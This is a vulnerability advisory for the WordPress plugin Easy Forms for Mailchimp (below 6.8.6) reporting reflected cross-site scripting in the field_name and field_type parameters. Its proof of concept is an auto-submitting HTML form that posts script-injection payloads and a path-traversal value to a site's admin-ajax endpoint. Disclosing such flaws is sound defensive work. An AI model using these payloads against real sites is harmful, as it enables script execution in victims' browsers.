WordPress Plugin Vulnerabilities

Easy Forms for Mailchimp < 6.8.6 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the field_name and field_type parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="add_field_to_form" />
      <input type="hidden" name="field_name" value='xxxxxxxxxxxx"><script>alert(/XSS-field_name/)</script>' />
      <input type="hidden" name="field_type" value='"><script>alert(/XSS-field_type/)</script>' />
      <input type="hidden" name="list_id" value="../../../../../" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>